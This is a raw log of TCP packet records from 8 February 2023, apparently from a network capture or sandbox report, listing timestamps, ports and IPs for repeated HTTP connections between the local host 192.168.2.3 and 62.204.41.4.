Feb 8, 2023 21:31:10.027378082 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027414083 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027436972 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027456999 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027468920 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.027544975 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.027560949 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027585030 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027607918 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027632952 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.027667046 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027676105 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.027690887 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027714014 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027733088 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.027792931 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.029830933 CET	49703	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.031034946 CET	49704	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.088998079 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089026928 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089047909 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089066029 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089087009 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089106083 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089124918 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089138031 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.089143991 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089167118 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089186907 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089196920 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.089210033 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089216948 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.089232922 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.089251041 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.089282036 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.091345072 CET	80	49703	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.091646910 CET	49703	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.092139006 CET	80	49704	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.092257023 CET	49704	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.105006933 CET	49704	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.151701927 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.151740074 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.151760101 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.151778936 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.151789904 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.151802063 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.151818037 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.151849985 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.151878119 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.168303967 CET	80	49704	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.172152042 CET	80	49704	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.172214031 CET	49704	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.329083920 CET	49704	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.333487988 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.348932981 CET	49705	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.390387058 CET	80	49704	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.390496016 CET	49704	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.395041943 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.395147085 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.409198999 CET	80	49705	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.409336090 CET	49705	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.447077036 CET	49705	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.507356882 CET	80	49705	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.509819984 CET	80	49705	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.509953976 CET	49705	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.640367031 CET	49705	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.641089916 CET	49706	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.700675964 CET	80	49705	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.700710058 CET	80	49706	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.700779915 CET	49705	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.700860023 CET	49706	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.701281071 CET	49706	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.760885000 CET	80	49706	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.763241053 CET	80	49706	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.763351917 CET	49706	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.868005037 CET	49706	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.872266054 CET	49707	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.927740097 CET	80	49706	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.929357052 CET	49706	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.934396982 CET	80	49707	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.935343981 CET	49707	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.935837030 CET	49707	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.998013020 CET	80	49707	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.000245094 CET	80	49707	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.000345945 CET	49707	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.118359089 CET	49707	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.119368076 CET	49708	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.178745031 CET	80	49708	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.180594921 CET	80	49707	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.180804014 CET	49707	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.181340933 CET	49708	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.181340933 CET	49708	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.240797043 CET	80	49708	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.245002985 CET	80	49708	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.245217085 CET	49708	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.352380991 CET	49708	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.353141069 CET	49709	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.411986113 CET	80	49708	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.412236929 CET	49708	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.415550947 CET	80	49709	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.415733099 CET	49709	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.416191101 CET	49709	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.479048967 CET	80	49709	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.481261015 CET	80	49709	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.481499910 CET	49709	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.587414980 CET	49709	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.588182926 CET	49710	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.649993896 CET	80	49709	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.650101900 CET	49709	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.650593996 CET	80	49710	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.650757074 CET	49710	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.651176929 CET	49710	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.713561058 CET	80	49710	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.715651035 CET	80	49710	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.715744019 CET	49710	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.821365118 CET	49710	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.822381973 CET	49711	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.881915092 CET	80	49711	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.882142067 CET	49711	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.882853985 CET	49711	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.883840084 CET	80	49710	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.884020090 CET	49710	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:11.942334890 CET	80	49711	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.944474936 CET	80	49711	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:11.944684029 CET	49711	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.057178020 CET	49711	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.058154106 CET	49712	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.116844893 CET	80	49711	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:12.116960049 CET	49711	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.120421886 CET	80	49712	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:12.120543003 CET	49712	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.121654034 CET	49712	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.184055090 CET	80	49712	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:12.188114882 CET	80	49712	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:12.188221931 CET	49712	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.346456051 CET	49712	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.347336054 CET	49713	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.407838106 CET	80	49713	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:12.408049107 CET	49713	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.408818007 CET	80	49712	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:12.408931017 CET	49712	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.783643007 CET	49713	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:12.844141960 CET	80	49713	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:12.846388102 CET	80	49713	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:12.846580982 CET	49713	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.100778103 CET	49713	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.123907089 CET	49714	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.161231041 CET	80	49713	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:13.161451101 CET	49713	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.184881926 CET	80	49714	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:13.185200930 CET	49714	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.211258888 CET	49714	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.272094965 CET	80	49714	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:13.275711060 CET	80	49714	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:13.275922060 CET	49714	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.453883886 CET	49714	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.454914093 CET	49715	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.514705896 CET	80	49714	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:13.514944077 CET	49714	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.515324116 CET	80	49715	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:13.515463114 CET	49715	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.538250923 CET	49715	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:13.598855019 CET	80	49715	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:13.601097107 CET	80	49715	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:13.601310015 CET	49715	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.432425022 CET	49715	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.439291000 CET	49716	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.493171930 CET	80	49715	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:14.493360043 CET	49715	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.501666069 CET	80	49716	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:14.502680063 CET	49716	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.532463074 CET	49716	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.594921112 CET	80	49716	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:14.598109961 CET	80	49716	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:14.598300934 CET	49716	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.761326075 CET	49716	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.762309074 CET	49717	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.825144053 CET	80	49716	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:14.825248003 CET	49716	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.825495958 CET	80	49717	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:14.825606108 CET	49717	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.890075922 CET	49717	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:14.953299046 CET	80	49717	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:14.955146074 CET	80	49717	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:14.955367088 CET	49717	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:15.756072998 CET	49717	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:15.756932974 CET	49718	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:15.816636086 CET	80	49718	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:15.817239046 CET	49718	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:15.818572044 CET	80	49717	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:15.818722010 CET	49717	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:15.921504021 CET	49718	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:15.982721090 CET	80	49718	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:15.985985994 CET	80	49718	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:15.986243010 CET	49718	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:16.952583075 CET	49718	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:16.953574896 CET	49719	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.012226105 CET	80	49718	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.012445927 CET	49718	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.016125917 CET	80	49719	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.016388893 CET	49719	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.030553102 CET	49719	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.093353033 CET	80	49719	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.097150087 CET	80	49719	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.097232103 CET	49719	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.212811947 CET	49719	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.213915110 CET	49720	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.275490046 CET	80	49719	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.275537014 CET	80	49720	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.275717020 CET	49719	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.275772095 CET	49720	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.276374102 CET	49720	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.337912083 CET	80	49720	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.340347052 CET	80	49720	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.340517044 CET	49720	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.474528074 CET	49720	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.475435019 CET	49721	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.536005974 CET	80	49720	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.536148071 CET	49720	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.538744926 CET	80	49721	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.538960934 CET	49721	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.546134949 CET	49721	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.609603882 CET	80	49721	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.612584114 CET	80	49721	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.612668037 CET	49721	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.735064030 CET	49721	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.736180067 CET	49722	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.796751022 CET	80	49722	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.797024965 CET	49722	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.798223972 CET	80	49721	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.798372984 CET	49721	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.801754951 CET	49722	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.863056898 CET	80	49722	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.865456104 CET	80	49722	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:17.865629911 CET	49722	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.986937046 CET	49722	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:17.987904072 CET	49723	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:18.047569990 CET	80	49722	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:18.047697067 CET	49722	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:21.164277077 CET	49723	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.093347073 CET	49724	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.156831026 CET	80	49724	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.156980991 CET	49724	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.157496929 CET	49724	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.222655058 CET	80	49724	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.226195097 CET	80	49724	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.226469040 CET	49724	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.340118885 CET	49724	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.341201067 CET	49725	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.402662039 CET	80	49725	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.402884960 CET	80	49724	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.402965069 CET	49725	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.403000116 CET	49724	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.403676987 CET	49725	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.464895010 CET	80	49725	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.467572927 CET	80	49725	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.467744112 CET	49725	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.572757006 CET	49725	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.573791027 CET	49726	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.634315968 CET	80	49725	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.634390116 CET	80	49726	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.634450912 CET	49725	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.634531975 CET	49726	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.634931087 CET	49726	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.695821047 CET	80	49726	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.698296070 CET	80	49726	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.698539019 CET	49726	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.823278904 CET	49726	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.824126005 CET	49727	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.884345055 CET	80	49726	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.884532928 CET	49726	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.886683941 CET	80	49727	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.886841059 CET	49727	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.887482882 CET	49727	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:22.950131893 CET	80	49727	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.952716112 CET	80	49727	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:22.952877045 CET	49727	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.056130886 CET	49727	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.062985897 CET	49728	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.118807077 CET	80	49727	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.119010925 CET	49727	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.124330997 CET	80	49728	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.124584913 CET	49728	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.125329971 CET	49728	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.186729908 CET	80	49728	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.190443993 CET	80	49728	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.190596104 CET	49728	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.306176901 CET	49728	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.307130098 CET	49729	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.367674112 CET	80	49728	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.367866039 CET	49728	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.368496895 CET	80	49729	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.368663073 CET	49729	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.382591963 CET	49729	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.444082022 CET	80	49729	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.446644068 CET	80	49729	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.446824074 CET	49729	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.557022095 CET	49729	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.558062077 CET	49730	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.618586063 CET	80	49729	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.618676901 CET	49729	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.620506048 CET	80	49730	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.620606899 CET	49730	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.623023987 CET	49730	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.685242891 CET	80	49730	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.688044071 CET	80	49730	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.688385010 CET	49730	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.802125931 CET	49730	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.803267956 CET	49731	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.862581968 CET	80	49731	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.862730026 CET	49731	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.864672899 CET	80	49730	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.864769936 CET	49730	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.865412951 CET	49731	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:23.924748898 CET	80	49731	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.927287102 CET	80	49731	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:23.927413940 CET	49731	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.041131020 CET	49731	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.042120934 CET	49732	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.102052927 CET	80	49731	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.102183104 CET	49731	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.104661942 CET	80	49732	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.104784966 CET	49732	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.105231047 CET	49732	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.166977882 CET	80	49732	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.170511961 CET	80	49732	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.170591116 CET	49732	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.283631086 CET	49732	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.284734011 CET	49733	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.345089912 CET	80	49733	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.345130920 CET	80	49732	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.345232964 CET	49733	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.345269918 CET	49732	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.349654913 CET	49733	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.410310984 CET	80	49733	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.413149118 CET	80	49733	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:24.413374901 CET	49733	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.525295019 CET	49733	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.526150942 CET	49734	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:24.585747004 CET	80	49733	62.204.41.4	192.168.2.3
